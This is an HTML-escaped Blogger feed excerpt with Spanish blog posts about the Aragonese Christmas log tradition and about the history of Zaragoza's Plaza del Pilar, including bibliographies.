 &lt;p class=&quot;MsoNormal&quot; style=&quot;line-height: normal; margin-bottom: 0.0001pt; text-align: left;&quot;&gt;&lt;span style=&quot;font-family: inherit; text-align: justify;&quot;&gt;&lt;/span&gt;&lt;/p&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh34NwpZ0jfMaX4OkEtcB_7wkEybe-0KN4_Ba4foSM6PDmdZ1v3cJH2g8B5nLmbKcn5Z-rWlqpmnIUkWUSx9jLMxSxBjzQgI-ddG5YoW4GCfMOqirxQEmGBXu0BLFSydsKwo3qFcF3nHwQW/s800/Fuego_en_la_ceremonia_de_la_cena_del_solsticio_de_invierno_%2528Muy_Resp.%2527._Gr.%2527._Log.%2527._Nacional_Mexicana__Independencia_No._2_%2529_15.jpg&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;600&quot; data-original-width=&quot;800&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh34NwpZ0jfMaX4OkEtcB_7wkEybe-0KN4_Ba4foSM6PDmdZ1v3cJH2g8B5nLmbKcn5Z-rWlqpmnIUkWUSx9jLMxSxBjzQgI-ddG5YoW4GCfMOqirxQEmGBXu0BLFSydsKwo3qFcF3nHwQW/s320/Fuego_en_la_ceremonia_de_la_cena_del_solsticio_de_invierno_%2528Muy_Resp.%2527._Gr.%2527._Log.%2527._Nacional_Mexicana__Independencia_No._2_%2529_15.jpg&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;span style=&quot;font-family: inherit;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;span style=&quot;font-family: inherit;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;span style=&quot;font-family: inherit;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;span style=&quot;font-family: inherit;&quot;&gt;En Aragón y también en Zaragoza tenemos una tradición relacionada con
este árbol cósmico y con el fuego que vuelve a estar en vigor en muchos
lugares, aunque nunca se ha perdido del todo: la tronca de Navidad.&lt;/span&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;

&lt;p class=&quot;MsoNormal&quot; style=&quot;line-height: normal; margin-bottom: 0cm; text-align: justify;&quot;&gt;&lt;/p&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjoeABhlAQDxOOSQ68FP64nrLnLtoF-5KfV_IIee1PhDf_LVvxWEPA2QAjDMeAWFuVjSf7T5BOMeEpi9K2znrnjjeiNVXut6G4RZrnsGhSpxHgp-KCmhyphenhyphenCXrc23gIUOKMm6YByHIoqNQm1R/s599/460px-Cagatio.jpg&quot; style=&quot;clear: right; float: right; margin-bottom: 1em; margin-left: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;599&quot; data-original-width=&quot;460&quot; height=&quot;320&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjoeABhlAQDxOOSQ68FP64nrLnLtoF-5KfV_IIee1PhDf_LVvxWEPA2QAjDMeAWFuVjSf7T5BOMeEpi9K2znrnjjeiNVXut6G4RZrnsGhSpxHgp-KCmhyphenhyphenCXrc23gIUOKMm6YByHIoqNQm1R/s320/460px-Cagatio.jpg&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;span style=&quot;font-family: inherit;&quot;&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;span style=&quot;font-family: inherit;&quot;&gt;La tronca de Navidad es, como su nombre indica, un tronco recio que se
elegía previamente y que se solía vaciar para poder rellenarlo con regalos.
Este tronco, que hoy día podemos encontrar también en forma de tarta en muchas
pastelerías, se quemaba en el hogar bajo después de haber apagado el fuego
anterior y limpiado todo.&amp;nbsp;&lt;span style=&quot;font-size: 11pt; text-align: left;&quot;&gt;Suponía, entonces, una&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;font-family: inherit;&quot;&gt;renovación del hogar y del
fuego hogareño para el año que iba a comenzar. Ardía despacio, hasta el día de
Reyes (doce días después del solsticio en que comienza a aumentar la luz).
Después se recogían sus cenizas, que repartidas por los campos, aseguraban
buenas cosechas, así como protección para la casa el trozo de madera que
quedaba sin quemar. Actualmente, la fiesta se celebra con algunas modificaciones,
más vinculadas a los niños, pero en esencia es la misma. Podríamos hablar mucho
sobre este tema, remontarnos a los indoeuropeos, a los ritos de los romanos, la
India y mucho más, pero alargaríamos demasiado esta breve entrada.&lt;/span&gt;&lt;/div&gt;&lt;/span&gt;&lt;p&gt;&lt;/p&gt;

&lt;p class=&quot;MsoNormal&quot; style=&quot;line-height: normal; margin-bottom: 0cm; text-align: justify;&quot;&gt;&lt;span style=&quot;font-family: inherit;&quot;&gt;En
conclusión podemos decir que las fiestas navideñas son un compendio de
tradiciones antiquísimas que, aunque olvidadas en gran parte, repetimos con los
mismos fines. ¿Quién no se ha planteado nuevos objetivos para el año nuevo?&lt;span style=&quot;color: black;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;

&lt;p class=&quot;MsoNormal&quot; style=&quot;line-height: normal; margin-bottom: 0cm; text-align: justify;&quot;&gt;&lt;span style=&quot;color: black;&quot;&gt;&lt;o:p&gt;&lt;span style=&quot;font-family: inherit;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;

&lt;p class=&quot;MsoNormal&quot; style=&quot;line-height: normal; margin-bottom: 0cm; text-align: justify;&quot;&gt;&lt;span style=&quot;font-family: inherit;&quot;&gt;BIBLIOGRAFÍA&lt;/span&gt;&lt;/p&gt;

&lt;p class=&quot;MsoNormal&quot; style=&quot;line-height: normal; margin-bottom: 0cm; text-align: justify;&quot;&gt;&lt;span style=&quot;color: black;&quot;&gt;&lt;span style=&quot;border: 1pt none windowtext; font-family: inherit; padding: 0cm; text-align: left;&quot;&gt;Guillermo García Pérez&lt;/span&gt;&lt;span style=&quot;font-family: inherit; text-align: left;&quot;&gt;&amp;nbsp;(2014): La tronca de Navidad.&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;text-align: left;&quot;&gt;Boletín de la Sociedad Ateneísta
de Aire Libre, nº 46&amp;nbsp;&lt;/span&gt;&lt;/p&gt;

&lt;p class=&quot;MsoListParagraph&quot; style=&quot;margin-left: 0cm; mso-add-space: auto;&quot;&gt;&lt;span style=&quot;font-family: inherit;&quot;&gt;Baring, A. y Cashford, J. (2014): El mito de la diosa. Ed. Siruela. Madrid&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;

&lt;p class=&quot;MsoNormal&quot; style=&quot;background: white; line-height: normal; mso-margin-bottom-alt: auto; mso-outline-level: 1;&quot;&gt;&lt;span style=&quot;font-family: inherit;&quot;&gt;Mircea Eliade (1998): Lo sagrado y lo profano. Ed. Paidós. Barcelona&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;

&lt;p class=&quot;MsoNormal&quot; style=&quot;background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; line-height: normal;&quot;&gt;&lt;span style=&quot;font-family: inherit;&quot;&gt;&lt;span style=&quot;background-color: white;&quot;&gt;Mircea Eliade (2009): El Mito del Eterno Retorno. Arquetipos y repetición.&lt;/span&gt;&lt;span style=&quot;background-color: #fbf7e6;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;background-color: white;&quot;&gt;Alianza
Editorial&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;

&lt;p class=&quot;MsoNormal&quot; style=&quot;background: white; line-height: normal; mso-margin-bottom-alt: auto; mso-outline-level: 1;&quot;&gt;&lt;o:p&gt;&lt;span style=&quot;font-family: inherit;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;/o:p&gt;&lt;/p&gt;&lt;div style=&quot;text-align: right;&quot;&gt;María José Germán&lt;/div&gt;&lt;p&gt;&lt;/p&gt;</content><link rel='replies' type='application/atom+xml' href='https://lazaragozaignorada.blogspot.com/feeds/969573890730355924/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='https://lazaragozaignorada.blogspot.com/2020/11/la-navidad-y-su-significado-mas-profundo.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='https://www.blogger.com/feeds/3754730700529506539/posts/default/969573890730355924'/><link rel='self' type='application/atom+xml' href='https://www.blogger.com/feeds/3754730700529506539/posts/default/969573890730355924'/><link rel='alternate' type='text/html' href='https://lazaragozaignorada.blogspot.com/2020/11/la-navidad-y-su-significado-mas-profundo.html' title='La Navidad y su significado más profundo'/><author><name>Unknown</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhsRmqaADG8yFTKonzJ8V4dg95IDAVHpUQgBgqfu1OrO-9KXPhhPt9U16a-CFHmJMoCqVy8N9gRnWSlh8w-QGF4HvNUCYlT9zy4vOO0c5eKuu9962I3cZUca_7giac_AtyQFbkQ1E-BGvnp/s72-w157-h320-c/293px-%25C3%2581rbol_Navidad_Plaza_Para%25C3%25ADso.jpg" height="72" width="72"/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3754730700529506539.post-2752926166270811649</id><published>2020-11-14T18:11:00.004+01:00</published><updated>2020-11-14T18:22:13.457+01:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="CONSTRUCCIONES CIVILES"/><category scheme="http://www.blogger.com/atom/ns#" term="EDAD CONTEMPORÁNEA"/><category scheme="http://www.blogger.com/atom/ns#" term="EDAD MODERNA"/><title type='text'>La plaza de El Pilar de Zaragoza.</title><content type='html'>&lt;p&gt;&amp;nbsp;&lt;/p&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhnAP6rvOJ5UgTnG1pZiwJWOMuRjAdFyv9bPVKR1Wo9hI0GrlC2MGtKeZtHF5Nk2BtyaM40OEZgWiXEO1oPrB7D1z5Spo3D9OsJ0Wt5tBDfB6MZN58v3xHPFXlmC9ST3THIhJWCLuZ5Jkn2/s1919/Plaza_del_Pilar+copia.jpg&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;1725&quot; data-original-width=&quot;1919&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhnAP6rvOJ5UgTnG1pZiwJWOMuRjAdFyv9bPVKR1Wo9hI0GrlC2MGtKeZtHF5Nk2BtyaM40OEZgWiXEO1oPrB7D1z5Spo3D9OsJ0Wt5tBDfB6MZN58v3xHPFXlmC9ST3THIhJWCLuZ5Jkn2/s320/Plaza_del_Pilar+copia.jpg&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;h3 style=&quot;text-align: justify;&quot;&gt;&lt;span style=&quot;line-height: 115%;&quot;&gt;&lt;span style=&quot;font-family: helvetica; font-size: large;&quot;&gt;&lt;span style=&quot;line-height: 27.6px;&quot;&gt;El&lt;/span&gt;&amp;nbsp;origen de la plaza del Pilar&lt;/span&gt;&lt;/span&gt;&lt;/h3&gt;&lt;p class=&quot;MsoNormal&quot; style=&quot;text-align: justify;&quot;&gt;&lt;span style=&quot;font-family: helvetica;&quot;&gt;El origen de la plaza del Pilar es muy antiguo, hunde
sus raíces en el fosal (cementerio) de la iglesia de Santa María, que durante
la dominación musulmana aglutinó el barrio mozárabe de Sarakusta. &lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;&lt;p class=&quot;MsoNormal&quot; style=&quot;text-align: justify;&quot;&gt;&lt;v:shapetype coordsize=&quot;21600,21600&quot; filled=&quot;f&quot; id=&quot;_x0000_t75&quot; o:preferrelative=&quot;t&quot; o:spt=&quot;75&quot; path=&quot;m@4@5l@4@11@9@11@9@5xe&quot; stroked=&quot;f&quot;&gt;
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&lt;/w:wrap&gt;&lt;/v:imagedata&gt;&lt;/v:shape&gt;&lt;span style=&quot;font-family: helvetica;&quot;&gt;En los años posteriores a la conquista de la ciudad musulmana (1118),
Zaragoza quedó dividida en quince barrios o parroquias que jugaron un
importante papel en la administración municipal.&amp;nbsp; Cada una de estas parroquias contaba con su
propia iglesia y fosal, situado junto a ellas, para el enterramiento de los
vecinos que a ellas pertenecían, a la par que servían como lugar de reunión
para los asuntos municipales.&amp;nbsp;&lt;/span&gt;&lt;/p&gt;&lt;p class=&quot;MsoNormal&quot; style=&quot;text-align: justify;&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/p&gt;&lt;a name=&#39;more&#39;&gt;&lt;/a&gt;&lt;span style=&quot;font-family: helvetica;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;p&gt;&lt;/p&gt;&lt;p class=&quot;MsoNormal&quot; style=&quot;text-align: justify;&quot;&gt;&lt;span style=&quot;font-family: helvetica;&quot;&gt;Pero Santa María era un caso especial, pues
además del cementerio parroquial, ubicado en la iglesia, en la capilla de Santa
Ana, contaba la existencia de otro exterior, situado delante de la iglesia, que
en 1220 el obispo D. Sancho dispuso fuera común a todas las iglesias de la
ciudad. Este fosal perduró a lo largo del tiempo, según M.I. Falcón, en su
libro Zaragoza en el siglo XV: “existía desde muy antiguo el Fosal de Sancta
María, contiguo a la iglesia, en la plaza del mismo nombre…”.&amp;nbsp; &lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;&lt;p class=&quot;MsoNormal&quot; style=&quot;text-align: justify;&quot;&gt;&lt;span style=&quot;font-family: helvetica;&quot;&gt;Quizá por ser común a todas las
iglesias parroquiales de la ciudad, allí se reunía el concejo zaragozano antes
de que se construyeran (s. XIII) las llamadas Casas del Puente (ayuntamiento),
tradición tan arraigada que incluso se mantuvieron las reuniones en el fosal
después de ser establecida la casa consistorial.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;&lt;p class=&quot;MsoNormal&quot; style=&quot;text-align: justify;&quot;&gt;&lt;span style=&quot;font-family: helvetica;&quot;&gt;Con el paso del tiempo el lugar
fue jugando un papel relevante hasta el punto de que en 1332 se trasladó allí
el Mercado, desde 1210 establecido en el lugar que ocupa el actual. Pero el
trasiego y las incomodidades que esto suponía para la iglesia hicieron que
pocos años después fuera trasladado a su lugar anterior. &lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;







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&lt;/span&gt;&lt;/v:shape&gt;&lt;span style=&quot;font-family: helvetica;&quot;&gt;&lt;/span&gt;&lt;/p&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;span style=&quot;font-family: helvetica;&quot;&gt;&lt;span style=&quot;line-height: 115%;&quot;&gt;Un siglo después, en 1435, un gran incendio
destruyó por completo la iglesia de Santa María y el claustro donde se ubicaba
la Virgen, por lo que fue necesario construir una nueva iglesia, de estilo
mudéjar, que quedó concluida en 1515. La plaza del Pilar debió de presentar
entonces un nuevo aspecto y posiblemente una ampliación, pues fue destinada a
nuevos usos&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;text-align: justify;&quot;&gt;entre ellos la venta de pescado
fresco procedente de los ríos de la ciudad.&lt;/span&gt;&lt;span style=&quot;text-align: justify;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;p class=&quot;MsoNormal&quot; style=&quot;text-align: justify;&quot;&gt;&lt;span style=&quot;font-family: helvetica;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;&lt;p class=&quot;MsoNormal&quot; style=&quot;text-align: justify;&quot;&gt;&lt;span style=&quot;font-family: helvetica;&quot;&gt;Más tarde, en el siglo XVII, la
plaza del Pilar ocupaba ya un lugar preferente en la ciudad y según Mariano
Nogués &lt;span style=&quot;color: red;&quot;&gt;(1) &lt;/span&gt;era ya un lugar profano, allí se
celebraban numerosos festejos que atraían a ella a toda la población, tales
como los llamados &lt;b&gt;juegos de cañas y las corridas de toros.&lt;/b&gt;&amp;nbsp; A pesar de esto, según R.M. Blasco &lt;span style=&quot;color: red;&quot;&gt;(2) &lt;/span&gt;“la plaza del Pilar… en la primera mitad del s.
XVIII, seguía siendo lugar de enterramiento de los desamparados.”, es de
suponer que en alguna zona concreta de ella. También indica que en la plaza se
vendía pescado, en lo que se llamaba “la red de pescado de la ciudad”.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;&lt;p class=&quot;MsoNormal&quot; style=&quot;text-align: justify;&quot;&gt;&lt;/p&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhxParhfk2leJG8Jl-w5OLrMeIYu4SvLNhhKJs_biDJewR0wYG8KXyTRQJnnSFJz0lLMp9viFTtHSAnMVPvO4Qn0nijdxZROvV3zgv1a8mJjhd-Jt-bMiiNllJvfTV6S1bqWbfeAY995xHI/s1000/Plaza+Mayor+de+Madrid+Fiesta+Real+en+la+Plaza+Mayor+1623+%25C3%25B3leo+atribuido+a+Juan+de+la+Corte.jpg&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;span style=&quot;font-size: large;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;764&quot; data-original-width=&quot;1000&quot; height=&quot;488&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhxParhfk2leJG8Jl-w5OLrMeIYu4SvLNhhKJs_biDJewR0wYG8KXyTRQJnnSFJz0lLMp9viFTtHSAnMVPvO4Qn0nijdxZROvV3zgv1a8mJjhd-Jt-bMiiNllJvfTV6S1bqWbfeAY995xHI/w640-h488/Plaza+Mayor+de+Madrid+Fiesta+Real+en+la+Plaza+Mayor+1623+%25C3%25B3leo+atribuido+a+Juan+de+la+Corte.jpg&quot; width=&quot;640&quot; /&gt;&lt;/span&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;div style=&quot;text-align: center;&quot;&gt;&lt;span style=&quot;font-family: helvetica; font-size: small;&quot;&gt;Plaza mayor de Madrid: Fiesta Real en la Plaza Mayor (1623). Óleo atribuido a Juan de la Corte&lt;/span&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;p class=&quot;MsoNormal&quot; style=&quot;text-align: justify;&quot;&gt;&lt;span style=&quot;font-family: helvetica;&quot;&gt;Sin embargo, a finales de este
siglo las cosas cambiaron de forma radical al comenzar las obras que habrían de
sustituir el templo mudéjar por el actual, debido a lo cual los espectáculos
volvieron al lugar donde siempre se habían celebrado, la plaza del Mercado. &lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;&lt;p class=&quot;MsoNormal&quot; style=&quot;text-align: justify;&quot;&gt;

&lt;/p&gt;&lt;p class=&quot;MsoNormal&quot; style=&quot;text-align: justify;&quot;&gt;&lt;span style=&quot;font-family: helvetica;&quot;&gt;Pero la construcción del nuevo
templo planteó un grave problema pues al incorporar la capilla del Pilar al
interior del nuevo templo éste se construyó a su nivel por lo que la plaza del
Pilar quedaba a unos tres metros más alta que el suelo del templo.&lt;/span&gt;&lt;/p&gt;

&lt;p class=&quot;MsoNormal&quot; style=&quot;text-align: justify;&quot;&gt;&lt;/p&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgCehGy1aHN7ftF2rnUpL69-Yl8CHuwWI1K43f1MFkAlVeysF_16pD3RlkmCzKcyu2IUcF2Sk_K63w_tgyvzkFMHZrElU9wGXxVR7kO8h3_xwG_tkp5Nt00rcacOCL_5hIzcQUsWah0t7tW/s800/Plaza+del+Pilar+en+1712.jpg&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;573&quot; data-original-width=&quot;800&quot; height=&quot;286&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgCehGy1aHN7ftF2rnUpL69-Yl8CHuwWI1K43f1MFkAlVeysF_16pD3RlkmCzKcyu2IUcF2Sk_K63w_tgyvzkFMHZrElU9wGXxVR7kO8h3_xwG_tkp5Nt00rcacOCL_5hIzcQUsWah0t7tW/w400-h286/Plaza+del+Pilar+en+1712.jpg&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;span style=&quot;font-family: helvetica;&quot;&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;Según recoge Nogués el desnivel
era tan considerable que “… por algunas partes había cerca de dos estados,
siendo necesarias gradas para bajar al templo.”&lt;/div&gt;&lt;/span&gt;&lt;p&gt;&lt;/p&gt;

&lt;span style=&quot;font-family: helvetica;&quot;&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;span style=&quot;line-height: 115%;&quot;&gt;Solucionar el problema supuso el rebaje de la
plaza, en el que trabajaron y colaboraron todos los zaragozanos quedando la
plaza al nivel del templo en un tiempo récord, poco más de dos meses. Después
para salvar el desnivel que quedó con las calles circundantes se construyeron
las llamadas Escalerillas del Pilar en el&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;text-align: justify;&quot;&gt;ángulo sureste de la plaza.&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;span style=&quot;text-align: justify;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;/span&gt;&lt;p class=&quot;MsoNormal&quot; style=&quot;text-align: justify;&quot;&gt;&lt;/p&gt;&lt;p class=&quot;MsoNormal&quot; style=&quot;font-family: helvetica; text-align: justify;&quot;&gt;&lt;/p&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj7Q3cKGeexg21ajc9EsBtfy48DbGWTYuCtrIpquz2AIK8aDEVkEIcgfFrjXL7ErGTsUzHkxmlEDl9B4kHeByDeH-iad-azeAkszOu1M88aVgKu0qvaFtfjD1gktgMLMvHeTMHHyLquhkg8/s1160/Zaragoza+1863+Escaleras+a+la+plaza+del+Pilar.jpg&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;560&quot; data-original-width=&quot;1160&quot; height=&quot;308&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj7Q3cKGeexg21ajc9EsBtfy48DbGWTYuCtrIpquz2AIK8aDEVkEIcgfFrjXL7ErGTsUzHkxmlEDl9B4kHeByDeH-iad-azeAkszOu1M88aVgKu0qvaFtfjD1gktgMLMvHeTMHHyLquhkg8/w640-h308/Zaragoza+1863+Escaleras+a+la+plaza+del+Pilar.jpg&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;p class=&quot;MsoNormal&quot; style=&quot;font-family: helvetica; text-align: justify;&quot;&gt;&lt;span style=&quot;font-family: helvetica;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/p&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;span style=&quot;font-family: helvetica;&quot;&gt;Así se mantuvo la plaza del Pilar hasta la mitad del siglo XX, pues
aunque en 1916 el arquitecto municipal José Yarza presentó un ambicioso
proyecto que proponía ampliar la plaza para que fuera adecuada para
celebraciones, el proyecto no se llevó a cabo. En 1939, tras la guerra civil,
el también arquitecto municipal Regino Borobio fue quien realizó la ampliación
al unir la plaza del Pilar a la antigua plaza de Huesca, derribando los viejos
edificios y el arco que las separaban. En ese mismo año también fueron
derribados los edificios que componían la antiquísima calle del Pilar quedando
definitivamente conformada la plaza.&lt;/span&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;

&lt;p class=&quot;MsoNormal&quot; style=&quot;text-align: justify;&quot;&gt;&lt;span style=&quot;font-family: helvetica;&quot;&gt;La última gran reforma se llevó a
cabo en los años 80 del siglo XX, se realizaron importantes trabajos y se
peatonalizó. &lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;

&lt;p class=&quot;MsoNormal&quot; style=&quot;text-align: justify;&quot;&gt;&lt;span style=&quot;font-family: helvetica;&quot;&gt;Así, la plaza del Pilar que nació
siendo un fosal, con el paso de los siglos se ha convertido en una de las
plazas peatonales más grandes de Europa en la que se celebran todo tipo de
actos, religiosos, civiles o lúdicos.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;&lt;p class=&quot;MsoNormal&quot; style=&quot;text-align: justify;&quot;&gt;&lt;span style=&quot;font-family: helvetica;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/p&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhtLo6JAiKfeVmloUsAWhNvi4gVdHcMbI4zlIkNRVSQZKksDWAoypzgTFhomLbFbIol8eRo9LYiviQvmLNJADCpFHTsUcfRZ4h9RxiICXmJkW5gptWwiHNeJhbVVUqeHusUn9FvgnOrBkes/s900/Plaza+del+Pilar+actual.jpg&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;464&quot; data-original-width=&quot;900&quot; height=&quot;330&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhtLo6JAiKfeVmloUsAWhNvi4gVdHcMbI4zlIkNRVSQZKksDWAoypzgTFhomLbFbIol8eRo9LYiviQvmLNJADCpFHTsUcfRZ4h9RxiICXmJkW5gptWwiHNeJhbVVUqeHusUn9FvgnOrBkes/w640-h330/Plaza+del+Pilar+actual.jpg&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;p class=&quot;MsoNormal&quot; style=&quot;text-align: justify;&quot;&gt;&lt;span style=&quot;color: red; font-family: helvetica;&quot;&gt;(1) &lt;/span&gt;&lt;span style=&quot;font-family: helvetica;&quot;&gt;Nogués,
M. Historia crítica y apologética de la Virgen nuestra señora del Pilar de
Zaragoza. Madrid 1862. Pág. 337 y ss.&lt;/span&gt;&lt;/p&gt;&lt;p class=&quot;MsoNormal&quot; style=&quot;text-align: justify;&quot;&gt;&lt;span style=&quot;font-family: helvetica;&quot;&gt;&lt;span style=&quot;color: red;&quot;&gt;(2) &lt;/span&gt;Blasco,
Rosa Mª. Zaragoza en el siglo XVIII (1700-1710).Editorial Librería General.
Colección Aragón. Pág. 35&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;&lt;p class=&quot;MsoNormal&quot; style=&quot;text-align: justify;&quot;&gt;&lt;span style=&quot;font-family: helvetica;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p class=&quot;MsoNormal&quot; style=&quot;text-align: justify;&quot;&gt;&lt;span style=&quot;font-family: helvetica;&quot;&gt;BIBLIOGRAFÍA&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;

&lt;p class=&quot;MsoNormal&quot; style=&quot;text-align: justify;&quot;&gt;&lt;span style=&quot;font-family: helvetica;&quot;&gt;Nogués, M. (1862&lt;i style=&quot;mso-bidi-font-style: normal;&quot;&gt;) Historia crítica y apologética de la
Virgen nuestra señora del Pilar de Zaragoza&lt;/i&gt;. Madrid.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;

&lt;p class=&quot;MsoNormal&quot; style=&quot;text-align: justify;&quot;&gt;&lt;span style=&quot;font-family: helvetica;&quot;&gt;Blasco, Rosa Mª. (1977) &lt;i style=&quot;mso-bidi-font-style: normal;&quot;&gt;Zaragoza en el siglo XVIII (1700-1710)&lt;/i&gt;.
